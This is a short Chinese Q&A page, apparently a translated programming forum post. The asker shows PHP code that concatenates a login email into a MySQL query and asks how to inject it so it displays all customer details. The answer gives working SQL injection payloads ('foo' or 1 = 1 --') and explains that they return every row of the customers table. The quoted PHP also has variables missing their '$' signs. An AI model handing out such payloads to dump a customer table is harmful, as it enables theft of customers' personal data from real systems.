首页 > 解决方案 > 如何 SQL 注入这个?

问题描述

mysql_select_db($database_db, $db);
query_user = "SELECT * FROM customers WHERE email = '$login'";
user = mysql_query($query_user, $db) or die(mysql_error());
row_user = mysql_fetch_assoc($user);
totalRows_user = mysql_num_rows($user);

我需要一些帮助我知道这可能是可注射的我需要在数据库中显示所有客户详细信息。请帮忙。

标签: mysqlsqlsql-injectionwhere-clause

解决方案


这会起作用:

foo' or 1 = 1 --

或者,由于您正在运行 MySQL:

foo' or 1 --

在您的查询字符串中连接时,这会产生:

SELECT *
FROM customers 
WHERE email = 'foo' or 1 = 1 -- '

无论第一个条件的结果如何,第二个条件的计算结果为真,因此查询返回表中的所有行。


推荐阅读